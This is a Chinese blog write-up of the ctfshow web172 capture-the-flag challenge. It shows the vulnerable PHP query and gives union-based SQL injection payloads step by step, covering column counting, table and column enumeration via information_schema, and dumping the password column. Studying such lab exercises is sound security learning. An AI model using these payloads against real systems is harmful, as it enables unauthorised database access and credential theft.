当前位置: 首页 > news >正文

ctfshow-web入门-web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

http://www.lryc.cn/news/469001.html

相关文章:

  • Keep健身TV版 3.3.0 | 针对智能电视的健身塑形软件
  • 推荐一些关于计算机网络和 TCP/IP 协议的书籍
  • 生成式AI浪潮下的商业机遇与经济展望 —— 与互联网时代的比较
  • Go 标准库
  • AUTOSAR_EXP_ARAComAPI的6章笔记(5)
  • Photoshop中的混合模式公式详解
  • Vue 自定义指令 Directive 的高级使用与最佳实践
  • 万字图文实战:从0到1构建 UniApp + Vue3 + TypeScript 移动端跨平台开源脚手架
  • 在WebStorm遇到Error: error:0308010C:digital envelope routines::unsupported报错时的解决方案
  • 数据库产品中SQL注入防护功能应该包含哪些功能
  • Ribbon客户端负载均衡策略测试及其改进
  • linux网络编程5——Posix API和网络协议栈,使用TCP实现P2P通信
  • 低代码平台中的功能驱动开发:模块化与领域设计
  • HTTP和HTTPS基本概念,主要区别,应用场景
  • node.js使用Sequelize ORM操作数据库
  • STM32-Modbus协议(一文通)
  • 100. 不同方向的投影视图
  • Appium中的api(三)
  • 踩坑:关于使用ceph pg repair引发的业务阻塞
  • 瞬间升级!电子文档华丽变身在线题库,效率翻倍✨
  • 如何动态改变本地的ip
  • Spring Boot框架在中小企业设备管理中的创新应用
  • Ceph入门到精通-Osd db扩容
  • windows msvc2017 x64编译AWS SDK CPP库
  • 铜业机器人剥片 - SNK施努卡
  • 非接触式竖向位移、水平位移视频实时在线监测的设备分类及选型
  • Svelte 5 正式发布:新一代前端框架!
  • 85.【C语言】数据结构之顺序表的中间插入和删除及遍历查找
  • 触觉智能Purple Pi OH鸿蒙开发板成功适配OpenHarmony5.0 Release,开启新征程!
  • 分布式解决方案---分布式ID